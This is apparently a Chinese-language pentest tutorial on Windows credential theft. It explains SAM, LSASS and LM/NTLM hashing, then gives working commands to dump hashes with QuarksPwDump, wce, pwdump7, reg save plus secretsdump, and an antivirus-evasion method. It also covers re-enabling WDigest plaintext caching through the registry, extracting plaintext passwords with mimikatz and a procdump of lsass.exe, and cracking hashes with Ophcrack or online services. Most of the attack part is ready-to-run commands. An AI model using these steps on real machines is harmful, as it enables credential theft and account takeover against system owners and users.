Hash

1. 概念

  • 把任意长度的输入,通过散列算法,变换成固定长度的输出,该输出就是散列值。

2. 应用

  • 文件校验:奇偶校验、CRC校验(例如MD5)
  • 数字签名:对Hash值(数字摘要)进行数字签名
  • 基于口令的加密:md5、md4、等

Windows本地凭证

1. 存储位置

  • 存储在C:\\Windows\System32\config\SAM

    存储位置

2. 介绍

  • 在Windows系统中,对用户账户的安全管理采用了SAM(Security Acoount Manager,安全账号管理)机制,用户账户以及密码经过Hash加密之后,都保存在SAM数据库中。
  • Winlogon.exe 是Windows NT用户登陆程序,用于管理用户登录和退出
  • Lsass.exe 是windows系统的安全机制,它用于本地安全和登陆策略

(1). 流程

  • 首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe 显示登录界面,让用户输入密码之后将密码交给lsass.exe,这个进程中会保存一份明文密码,将明文密码加密成NTLM Hash与SAM数据库比较认证,成功则返回userSIDgroupSID

3. 加密方式

(1). LM

a. 前提
  • 只针对于win2003(包括)之前的系统,安全性较差,容易被逆向。
b. 加密过程
  • 明文密码 => 转化为大写 => 补齐14个字符 => 左右均分,各7个字符 => 在末尾分别添加校验位1,生成DES密钥 => 使用DES密钥加密给定字符串 => 将加密后字符串拼接 => 最终hash值

(2). NTLM

  • 明文密码 => hex处理 => unicode处理 => MD4处理 => 最终hash值

4. Hash获取方式

(1). QuarksPwDump.exe

  1. 相关参数
-dhl  导出本地哈希值
-dhdc导出内存中的域控哈希值
-dhd  导出域控哈希值,必须指定NTDS文件
-db  导出Bitlocker信息,必须指定NTDS文件
-nt   导出ntds文件
-hist  导出历史信息,可选项
-t   导出类型可选默认导出为John类型。
-o   导出文件到本地
  1. 实际使用

  2. 先进入到程序页面

     QuarksPwDump.exe
    
  3. 直接在程序中显示

     QuarksPwDump.exe -dhl
    

    直接查看

  4. 导出到文件

     QuarksPwDump.exe -dhl -o 1.txt
    

    导出至文件

(2). wce.exe

直接在命令行中,运行程序即可获得
wce.exe

wce

(3). pwdump7.exe

直接在命令行中,运行程序即可获得
pwdump7.exe

pwdump7

(4). 手工免杀获取

  1. 使用注册表来导出hash,本地破解

    reg save HKLM\SYSTEM sys.hiv
    reg save HKLM\SAM sam.hiv
    reg save hklm\security security.hiv 
    secretsdump.py -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
    
  2. 导出sam文件

  3. 一般用在域控上几万 几十万用户的时候

    shadow copy 
    
  4. 其他方式

    procdump(或者lsadump) +mimikatz
    Powershell + mimikatz
    powershell + getpasshash
    powershell + 其他工具
    

5. Hash破解

  • Windows的Hash密码的格式(没有盐值):

    Username:RlD:Lmhash:NThash
    

    格式

(1). 本地破解

  • 这里使用Ophcrack软件进行演示Ophcrack
a. 设置彩虹表
  1. 先到官网或者其他地方下载彩虹表内容,这里给出官方的彩虹表下载地址Ophcrack彩虹表

  2. 打开软件,设置彩虹表的所在路径,该路径必须位于一个叫做tables文件夹的子目录下

    设置彩虹表

b. 加载sam文件

使用

c. 查看Hash值
  • 我这里以单个Hash的破解为例,成功加载后,应该显示如下情况的内容

    加载

    成功加载

d. 破解Hash值
  • 单击crack,等待一段时间,可能就会的到解密答案

等待破解

(2). 在线破解

  • http://tool.geekapp.cn/decrypt.php
  • https://www.cmd5.com/

6. 获取明文密码

(1). 原理

  • windows 将登录密码加密后存在内存中,这样只要我们找到对应的内存段,然后解密那块内存,就得到了明文密码。已经知道 windows 的加密密码内存段是在lsass,exe的进程空间里,所以攻击者只要注入到进程空间,定位到那块内存剩下的事就是逆向一个字符串加密算法的过程了。
    注意:一定要在system权限下获取明文密码

(2). 常用工具

  • 常用工具
a. WCE.exe
wce.exe -w
b. Getpass.exe
#直接运行程序
Getpass.exe
c. Mimickatz.exe
  • 支持的版本

支持的版本

①注意事项
  1. 版本问题

  2. 当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段会显示为null

    解决方法:通过修改注册表来抓取明文密码,但需要用户下次登录时才能成功抓取

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential /t REG DWORD /d 1 /f
    
  3. 补丁问题

  4. 在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth
    内存(lsass进程)不再保存明文口令。

②方法
  1. 需要进行提升权限的操作,然后直接获取
#在命令行中单独执行
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码

#在命令行中合并执行
mimikatz.exe ""privilege:debug"" ""sekurlsa::logonpasswords full"" 

#进一步输出到文本中
mimikatz.exe ""privilege:debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
  1. 先通过procdump.exe导出Lsass.exe的进程文件lsass.dmp,再使用猕猴桃进行读取

  2. #先通过procdump导出进程文件内容
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    #再进一步分析文件
    mimikatz.exe "sekurlsa:minidump lsass.dmp" "sekurlsa:logonPasswords full" exit >> 1.txt